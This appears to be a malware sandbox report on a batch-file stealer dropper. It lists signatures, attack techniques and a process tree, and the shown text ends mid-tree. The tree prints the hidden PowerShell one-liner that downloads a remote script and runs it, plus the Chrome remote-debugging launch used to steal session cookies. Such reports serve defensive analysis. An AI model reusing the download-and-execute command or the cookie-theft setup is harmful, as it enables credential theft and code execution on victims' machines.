46fdcf548cfdf057beab02510431b1a301f35a517b0c6d333ef3bd70a9bd17bc

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 01:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Mercado_Credito_17_07_26.bat
Size 1KB
Sample260718-bfp4csbt3k
SHA256 46fdcf548cfdf057beab02510431b1a301f35a517b0c6d333ef3bd70a9bd17bc
MD5 bd94db79d9a3f4b6f063185403a18c87
SHA1 0c436b4728f5e79143692fe31310c03c92aa8dd5
SHA512 69945d61fb310359a00b07d767e2d99c89effbba249d450918fed48658a27d7bc9cb92b521ca78bdee69f6db32d22f974f9d07784f76d7247beb48d91116e423
TLSH
T15E11BA8A3164E258CDB10BA54C33E570F84925C7C2411C81B3AFCA368B89BCAFADD281
MD5 SHA1 SHA512 TLSH

Score

10^/10

credential_access defense_evasion discovery execution persistence stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://servicochavesmrx1.com/s/3ff14d9044b0a8fd0edb65511278199b

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3968	powershell.exe
6	3968	powershell.exe
7	3968	powershell.exe
8	3968	powershell.exe
44	3968	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3968	powershell.exe

Uses browser remote debugging 2 TTPs 24 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3048	chrome.exe
6016	chrome.exe
3700	chrome.exe
3452	chrome.exe
4424	chrome.exe
2020	chrome.exe
3856	chrome.exe
4948	chrome.exe
3784	chrome.exe
5040	chrome.exe
5688	chrome.exe
788	chrome.exe
5464	chrome.exe
5652	chrome.exe
2460	chrome.exe
1120	chrome.exe
5880	chrome.exe
4780	chrome.exe
4268	chrome.exe
1172	chrome.exe
2044	chrome.exe
5052	chrome.exe
892	chrome.exe
5364	chrome.exe

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EnergyReport.vbs	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 51 IoCs

pid	Process
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe
4580	chrome.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4608	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4628	chrome.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3288	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134288103475155234"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3700	chrome.exe
3700	chrome.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3700	chrome.exe
3700	chrome.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
3776	chrome.exe
3776	chrome.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 23 IoCs

pid	Process
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeIncreaseQuotaPrivilege	3968	powershell.exe
Token: SeSecurityPrivilege	3968	powershell.exe
Token: SeTakeOwnershipPrivilege	3968	powershell.exe
Token: SeLoadDriverPrivilege	3968	powershell.exe
Token: SeSystemProfilePrivilege	3968	powershell.exe
Token: SeSystemtimePrivilege	3968	powershell.exe
Token: SeProfSingleProcessPrivilege	3968	powershell.exe
Token: SeIncBasePriorityPrivilege	3968	powershell.exe
Token: SeCreatePagefilePrivilege	3968	powershell.exe
Token: SeBackupPrivilege	3968	powershell.exe
Token: SeRestorePrivilege	3968	powershell.exe
Token: SeShutdownPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeSystemEnvironmentPrivilege	3968	powershell.exe
Token: SeRemoteShutdownPrivilege	3968	powershell.exe
Token: SeUndockPrivilege	3968	powershell.exe
Token: SeManageVolumePrivilege	3968	powershell.exe
Token: 33	3968	powershell.exe
Token: 34	3968	powershell.exe
Token: 35	3968	powershell.exe
Token: 36	3968	powershell.exe
Token: SeIncreaseQuotaPrivilege	3968	powershell.exe
Token: SeSecurityPrivilege	3968	powershell.exe
Token: SeTakeOwnershipPrivilege	3968	powershell.exe
Token: SeLoadDriverPrivilege	3968	powershell.exe
Token: SeSystemProfilePrivilege	3968	powershell.exe
Token: SeSystemtimePrivilege	3968	powershell.exe
Token: SeProfSingleProcessPrivilege	3968	powershell.exe
Token: SeIncBasePriorityPrivilege	3968	powershell.exe
Token: SeCreatePagefilePrivilege	3968	powershell.exe
Token: SeBackupPrivilege	3968	powershell.exe
Token: SeRestorePrivilege	3968	powershell.exe
Token: SeShutdownPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeSystemEnvironmentPrivilege	3968	powershell.exe
Token: SeRemoteShutdownPrivilege	3968	powershell.exe
Token: SeUndockPrivilege	3968	powershell.exe
Token: SeManageVolumePrivilege	3968	powershell.exe
Token: 33	3968	powershell.exe
Token: 34	3968	powershell.exe
Token: 35	3968	powershell.exe
Token: 36	3968	powershell.exe
Token: SeIncreaseQuotaPrivilege	3968	powershell.exe
Token: SeSecurityPrivilege	3968	powershell.exe
Token: SeTakeOwnershipPrivilege	3968	powershell.exe
Token: SeLoadDriverPrivilege	3968	powershell.exe
Token: SeSystemProfilePrivilege	3968	powershell.exe
Token: SeSystemtimePrivilege	3968	powershell.exe
Token: SeProfSingleProcessPrivilege	3968	powershell.exe
Token: SeIncBasePriorityPrivilege	3968	powershell.exe
Token: SeCreatePagefilePrivilege	3968	powershell.exe
Token: SeBackupPrivilege	3968	powershell.exe
Token: SeRestorePrivilege	3968	powershell.exe
Token: SeShutdownPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeSystemEnvironmentPrivilege	3968	powershell.exe
Token: SeRemoteShutdownPrivilege	3968	powershell.exe
Token: SeUndockPrivilege	3968	powershell.exe
Token: SeManageVolumePrivilege	3968	powershell.exe
Token: 33	3968	powershell.exe
Token: 34	3968	powershell.exe
Token: 35	3968	powershell.exe
Token: 36	3968	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3700	chrome.exe
3700	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4608 wrote to memory of 3968	4608	cmd.exe	90
PID 4608 wrote to memory of 3288	4608	cmd.exe	92
PID 3968 wrote to memory of 3280	3968	powershell.exe	93
PID 3280 wrote to memory of 3596	3280	csc.exe	94
PID 3968 wrote to memory of 2964	3968	powershell.exe	95
PID 3968 wrote to memory of 4764	3968	powershell.exe	97
PID 4764 wrote to memory of 4904	4764	csc.exe	98
PID 3968 wrote to memory of 1940	3968	powershell.exe	99
PID 1940 wrote to memory of 792	1940	csc.exe	100
PID 3968 wrote to memory of 3700	3968	powershell.exe	101
PID 3700 wrote to memory of 5632	3700	chrome.exe	102
PID 3700 wrote to memory of 5172	3700	chrome.exe	103
PID 3700 wrote to memory of 5172	3700	chrome.exe	103
PID 3700 wrote to memory of 4628	3700	chrome.exe	104
PID 3700 wrote to memory of 2300	3700	chrome.exe	105
PID 3700 wrote to memory of 2300	3700	chrome.exe	105
PID 3700 wrote to memory of 3452	3700	chrome.exe	106
PID 3700 wrote to memory of 5652	3700	chrome.exe	107
PID 3700 wrote to memory of 3452	3700	chrome.exe	106
PID 3700 wrote to memory of 5652	3700	chrome.exe	107
PID 3700 wrote to memory of 1120	3700	chrome.exe	108
PID 3700 wrote to memory of 1120	3700	chrome.exe	108
PID 3700 wrote to memory of 4424	3700	chrome.exe	109
PID 3700 wrote to memory of 4424	3700	chrome.exe	109
PID 3700 wrote to memory of 2460	3700	chrome.exe	110
PID 3700 wrote to memory of 2460	3700	chrome.exe	110
PID 3700 wrote to memory of 5880	3700	chrome.exe	111
PID 3700 wrote to memory of 5880	3700	chrome.exe	111
PID 3700 wrote to memory of 5340	3700	chrome.exe	112
PID 3700 wrote to memory of 5340	3700	chrome.exe	112
PID 3700 wrote to memory of 1476	3700	chrome.exe	113
PID 3700 wrote to memory of 4268	3700	chrome.exe	114
PID 3700 wrote to memory of 4780	3700	chrome.exe	115
PID 3700 wrote to memory of 4268	3700	chrome.exe	114
PID 3700 wrote to memory of 4780	3700	chrome.exe	115
PID 3700 wrote to memory of 1172	3700	chrome.exe	118
PID 3700 wrote to memory of 892	3700	chrome.exe	132
PID 3700 wrote to memory of 2136	3700	chrome.exe	120
PID 3700 wrote to memory of 5052	3700	chrome.exe	121
PID 3700 wrote to memory of 1172	3700	chrome.exe	118
PID 3700 wrote to memory of 892	3700	chrome.exe	132
PID 3700 wrote to memory of 2136	3700	chrome.exe	120
PID 3700 wrote to memory of 5052	3700	chrome.exe	121
PID 3700 wrote to memory of 3784	3700	chrome.exe	122
PID 3700 wrote to memory of 3784	3700	chrome.exe	122
PID 3700 wrote to memory of 5688	3700	chrome.exe	123
PID 3700 wrote to memory of 3392	3700	chrome.exe	124
PID 3700 wrote to memory of 3152	3700	chrome.exe	125
PID 3700 wrote to memory of 5688	3700	chrome.exe	123
PID 3700 wrote to memory of 5040	3700	chrome.exe	126
PID 3700 wrote to memory of 3392	3700	chrome.exe	124
PID 3700 wrote to memory of 3152	3700	chrome.exe	125
PID 3700 wrote to memory of 5040	3700	chrome.exe	126
PID 3700 wrote to memory of 2020	3700	chrome.exe	127
PID 3700 wrote to memory of 1412	3700	chrome.exe	128
PID 3700 wrote to memory of 2020	3700	chrome.exe	127
PID 3700 wrote to memory of 604	3700	chrome.exe	129
PID 3700 wrote to memory of 1412	3700	chrome.exe	128
PID 3700 wrote to memory of 604	3700	chrome.exe	129
PID 3700 wrote to memory of 788	3700	chrome.exe	130
PID 3700 wrote to memory of 788	3700	chrome.exe	130
PID 3700 wrote to memory of 3856	3700	chrome.exe	131
PID 3700 wrote to memory of 3856	3700	chrome.exe	131
PID 3700 wrote to memory of 892	3700	chrome.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Mercado_Credito_17_07_26.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -EP Bypass -NoP -C "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;& ([scriptblock]::Create((New-Object Net.WebClient).DownloadString('https://servicochavesmrx1.com/s/3ff14d9044b0a8fd0edb65511278199b')))"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3968
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2mzwrnrk\2mzwrnrk.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3280
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1F65.tmp" "c:\Users\Admin\AppData\Local\Temp\2mzwrnrk\CSC228538D26B9541348DA63B681EDB072.TMP"
      4⤵
      PID:3596
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn "Power Efficiency Diagnostics" /f
    3⤵
    PID:2964
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3ajmiexg\3ajmiexg.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4764
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4145.tmp" "c:\Users\Admin\AppData\Local\Temp\3ajmiexg\CSC60A71FF959974636B752D63348D7427E.TMP"
      4⤵
      PID:4904
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3wpqq1nt\3wpqq1nt.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1940
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES41D2.tmp" "c:\Users\Admin\AppData\Local\Temp\3wpqq1nt\CSC22C4DD99B25E4F8FB9A7ABFCA66CD43.TMP"
      4⤵
      PID:792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --profile-directory=Default --window-size=1920,1080 --disable-blink-features=AutomationControlled --disable-infobars --no-first-run --no-default-browser-check --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --noerrdialogs --disable-session-crashed-bubble --hide-crash-restore-bubble --autoplay-policy=no-user-gesture-required --mute-audio --disable-sync --disable-features=msEdgeOnRamp,msEdgeSyncOnboarding,EdgeWelcomeRunFirstRun,msFirstRunExperience,CalculateNativeWinOcclusion --suppress-message-center-popups --start-maximized
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3700
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffffdacc728,0x7ffffdacc734,0x7ffffdacc740
      4⤵
      PID:5632
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1680,i,14586955537435402185,15930366518094702677,262144 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=1940 /prefetch:2
      4⤵
      PID:5172
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=2208,i,11126871349598878434,9340286483232115802,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:11
      4⤵
      System Time Discovery
      PID:4628
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=2344,i,4764204209257981068,5386433185055841757,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=2308 /prefetch:13
      4⤵
      PID:2300
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3304,i,6324937793502435449,15706109011228536131,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3452
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3308,i,2672930596171032813,12960245609517957471,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=3340 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5652
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3868,i,12878332641313945707,1169389710796420602,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=3876 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1120
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3904,i,13962586446298377211,1593268838638328845,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=3916 /prefetch:9
      4⤵
      Uses browser remote debugging
      PID:4424
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4168,i,5310234427096463850,12442464963234975533,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=4760 /prefetch:9
      4⤵
      Uses browser remote debugging
      PID:2460
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3440,i,5830588290109626500,1428619881375029115,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5004 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5880
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=5168,i,6399229781924338382,3898334099451792459,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:14
      4⤵
      PID:5340
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=5292,i,29051340247985403,6800152235429623758,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5172 /prefetch:14
      4⤵
      PID:1476
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4068,i,10650469659855800538,9789662460645353989,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4268
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
